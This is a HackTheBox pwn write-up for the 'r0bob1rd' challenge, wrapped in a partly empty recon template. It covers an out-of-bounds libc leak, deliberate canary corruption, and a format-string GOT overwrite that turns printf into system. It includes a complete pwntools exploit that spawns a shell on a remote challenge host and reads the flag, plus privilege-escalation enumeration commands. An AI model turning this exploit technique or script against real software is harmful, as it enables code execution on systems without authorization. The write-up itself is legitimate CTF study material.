r0bob1rd
r0bob1rd
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: format_string_write, got_leak, got_overwrite_printf_to_system, off_by_two, oob_array_index, stack_chk_fail_hijack
Summary
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260209_hackthebox_r0bob1rd - Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31
- Indicators: printf(user_input) format string, Partial RELRO (writable GOT), No PIE, array index without bounds check, fgets size > buffer distance to canary
- Source:
20260209_hackthebox_r0bob1rd.md
Foothold
Vulnerability / Misconfiguration
- Format_string_write
- Got_leak
- Got_overwrite_printf_to_system
- Off_by_two
- Oob_array_index
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- format_string_write
- got_leak
- got_overwrite_printf_to_system
- off_by_two
- oob_array_index
- stack_chk_fail_hijack
- Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31
Original Writeup
<details><summary>Click to expand original content</summary>Description
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.
Remote: nc 154.57.164.77:32657
Files
r0bob1rd— ELF 64-bit LSB executable, x86-64, dynamically linked, not strippedglibc/libc.so.6— GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)glibc/ld.so.2— Dynamic linker
Analysis
Binary Properties
| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial (GOT writable) |
| Stack Canary | Enabled |
| NX | Enabled |
| PIE | Disabled (base 0x400000) |
| Stripped | No |
| Libc | GLIBC 2.31-0ubuntu9.9 |
Key Addresses
| Symbol | Address |
|---|---|
robobirdNames (array) | 0x6020a0 |
puts@GOT | 0x602020 |
__stack_chk_fail@GOT | 0x602028 |
printf@GOT | 0x602030 |
main | 0x400c0f |
operation | 0x400aca |
pop rdi; ret | 0x400cc3 |
ret | 0x40074e |
Program Flow
- Prints a banner and a table of 10 bird names (IDs 0–9)
- Prompts
"Select a R0bob1rd >"— reads an integer viascanf("%d") - Valid ID (0–9): dereferences
robobirdNames[id]pointer and prints the bird name withprintf("%s", *ptr) - Out-of-range ID: passes the ADDRESS
&robobirdNames[id]directly toprintf("%s", addr)— reads raw bytes at that computed address as a string - Calls
getchar()to consume the newline - Prompts
"Enter bird's little description"and reads input withfgets(buf, 0x6a, stdin)— 106 bytes max into a buffer atrbp-0x70 - Prints
"Crafting..", sleeps 2 seconds, prints a bird animation, prints"[Description]" - Calls
printf(buf)— FORMAT STRING VULNERABILITY with user-controlled input - Checks stack canary — if corrupted, calls
__stack_chk_fail leave; ret
Vulnerability 1: OOB Array Read (Libc Leak)
robobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).
With bird_id = -16:
address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT
printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:
libc_base = leaked_puts - 0x84420
Vulnerability 2: Off-by-Two Buffer Overflow (Canary Corruption)
Buffer: rbp-0x70 (112 bytes from rbp)
Canary: rbp-0x08 (8 bytes)
Gap: 0x70 - 0x08 = 0x68 = 104 bytes
fgets: reads up to 0x6a = 106 bytes (105 chars + null)
Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.
Vulnerability 3: Format String Bug (Arbitrary Write)
printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.
Solution
Strategy: 2-Pass GOT Overwrite
The exploit chains all three vulnerabilities in two passes through the operation() function:
Pass 1: Leak libc + overwrite printf@GOT → system() and __stack_chk_fail@GOT → operation()
Pass 2: Send "sh" as description → printf("sh") becomes system("sh") → SHELL
Pass 1: Leak + GOT Overwrite
- Send
bird_id = -16to leakputs@GOT→ computelibc_base→ computesystem()address - Craft a 104-byte format string payload that performs 4 ×
%hnwrites:
- Overwrite
printf@GOT(0x602030) withsystem()address (3 ×%hnfor 6 bytes: low, mid, high) - Overwrite
__stack_chk_fail@GOT(0x602028) withoperation()address (1 ×%hn, low 2 bytes only — both are in0x400000range)
- The 104-byte payload + newline corrupts the canary → triggers
__stack_chk_fail __stack_chk_fail@GOTnow points tooperation()→ program loops back (skippingprintRobobirdswhich would callprintf/systemwith garbage)
Pass 2: Trigger Shell
- Now ALL
printf()calls are actuallysystem()calls - The program calls
system("Select a R0bob1rd > "),system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin - Send
"sh"as the bird description - When the program reaches
printf(buf), it actually callssystem("sh")→ SHELL!
Format String Payload Layout
[format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|
The 4 %hn writes are sorted by value (ascending) to minimize padding:
%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn
Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).
Key Insights
printf@GOT → systemis elegant becauseprintf(user_input)becomessystem(user_input)__stack_chk_fail → operation()instead ofmain()avoidsprintRobobirds()which would callprintf(nowsystem) 10 times with table formatting characters- The ~60KB of format string output (from
%Ncpadding) must be drained to prevent the program from blocking onwrite() system()with/bin/sh -cdoesn't read from stdin for syntax errors, so the intermediatesystem()calls with garbage strings just return without consuming our input
Exploit
#!/usr/bin/env python3
"""
r0bob1rd - HackTheBox PWN Challenge Exploit
============================================
Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation
Pass 2: system("sh") via hijacked printf
"""
from pwn import *
import sys, time
HOST = "154.57.164.77"
PORT = 32657
LOCAL = "--local" in sys.argv
context.arch = "amd64"
context.log_level = "debug" if "--debug" in sys.argv else "info"
elf = ELF("./r0bob1rd")
libc = ELF("./glibc/libc.so.6")
PRINTF_GOT = elf.got["printf"]
STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"]
OPERATION_ADDR = elf.symbols["operation"]
FMT_OFFSET = 8
def build_writes(writes, total_size=104):
n = len(writes)
addr_bytes = n * 8
fmt_space = total_size - addr_bytes
indexed = sorted(enumerate(writes), key=lambda x: x[1][1])
param_for_sorted = []
for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed):
byte_offset = fmt_space + sort_pos * 8
param = FMT_OFFSET + byte_offset // 8
param_for_sorted.append((addr, val, param))
fmt = b""
printed = 0
for addr, val, param in param_for_sorted:
needed = (val - printed) % 0x10000
if needed == 0:
needed = 0x10000
fmt += f"%{needed}c%{param}$hn".encode()
printed = (printed + needed) % 0x10000
if len(fmt) > fmt_space:
log.error(f"Format too long: {len(fmt)} > {fmt_space}")
return None
log.info(f"Format: {len(fmt)}/{fmt_space} bytes")
payload = fmt.ljust(fmt_space, b".")
for addr, val, param in param_for_sorted:
payload += p64(addr)
assert len(payload) == total_size
return payload
def drain(p, timeout_sec=3):
"""Drain all available data with given timeout."""
total = 0
while True:
try:
chunk = p.recv(8192, timeout=timeout_sec)
if not chunk:
break
total += len(chunk)
except:
break
return total
def exploit():
if LOCAL:
p = process("./r0bob1rd")
else:
p = remote(HOST, PORT, timeout=30)
# ================================================================
# PASS 1: Leak libc + GOT overwrite
# ================================================================
log.info("=== PASS 1: Leak + GOT overwrite ===")
p.recvuntil(b"R0bob1rd > ")
p.sendline(b"-16")
p.recvuntil(b"You've chosen: ")
data = p.recvuntil(b"Enter bird")
leak_bytes = data[: -len(b"\n\nEnter bird")]
leaked_puts = u64(leak_bytes.ljust(8, b"\x00"))
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc @ {hex(libc.address)}")
if libc.address & 0xFFF:
log.error("Misaligned!")
p.close()
return
system = libc.symbols["system"]
log.info(f"system @ {hex(system)}")
writes = [
(PRINTF_GOT, system & 0xFFFF),
(PRINTF_GOT + 2, (system >> 16) & 0xFFFF),
(PRINTF_GOT + 4, (system >> 32) & 0xFFFF),
(STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF),
]
payload = build_writes(writes, total_size=104)
if payload is None:
p.close()
return
p.recvuntil(b">> ")
p.sendline(payload)
log.info("Payload sent. Draining ~60KB of output...")
n = drain(p, timeout_sec=3)
log.info(f"Drained {n} bytes")
# ================================================================
# PASS 2: Send inputs for shell
# ================================================================
log.info("=== PASS 2: Trigger system('sh') ===")
p.sendline(b"0")
log.info("Sent bird_id '0'")
try:
p.recvuntil(b"description", timeout=5)
log.info("Got description prompt")
except:
log.warning("Didn't see description prompt")
time.sleep(0.3)
p.sendline(b"sh")
log.info("Sent 'sh'")
# Drain usleep(2s) + start_screen output
n2 = drain(p, timeout_sec=4)
log.info(f"Drained {n2} bytes")
# Shell should be active now!
log.info("Shell active! Getting flag...")
p.sendline(b"cat flag*")
time.sleep(1)
p.sendline(b"cat /flag*")
time.sleep(1)
try:
output = p.recv(timeout=5)
result = output.decode(errors="replace")
log.success(f"Output:\n{result}")
import re
flags = re.findall(r"HTB\{[^}]+\}", result)
if flags:
log.success(f"FLAG: {flags[0]}")
except:
log.warning("Error receiving output")
p.interactive()
if __name__ == "__main__":
exploit()
Lessons Learned
-
Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack
__stack_chk_fail@GOTto redirect execution flow. The canary becomes a controlled jump. -
printf@GOT → systemis the classic GOT overwrite — When you control the first argument toprintf(format string), overwriting it withsystemgives yousystem(user_input)for free. -
operation()vsmain()for loop target — Redirecting__stack_chk_failtooperation()instead ofmain()avoids re-executingprintRobobirds(), which would call the now-hijackedprintf(=system) with garbage strings 10 times. -
Drain format string output — Large
%Ncpadding in format string writes generates ~60KB of output. If not drained, the program blocks onwrite()and never reaches the next input prompt. -
system()with invalid commands is harmless — Whenprintf@GOTis overwritten withsystem, intermediate calls likesystem("Select a R0bob1rd > ")fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place. -
OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes
&array[id](not*array[id]) toprintf("%s")for OOB indices, you can read GOT entries as raw bytes. The offset calculation:id = (GOT_addr - array_addr) / sizeof(pointer).
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR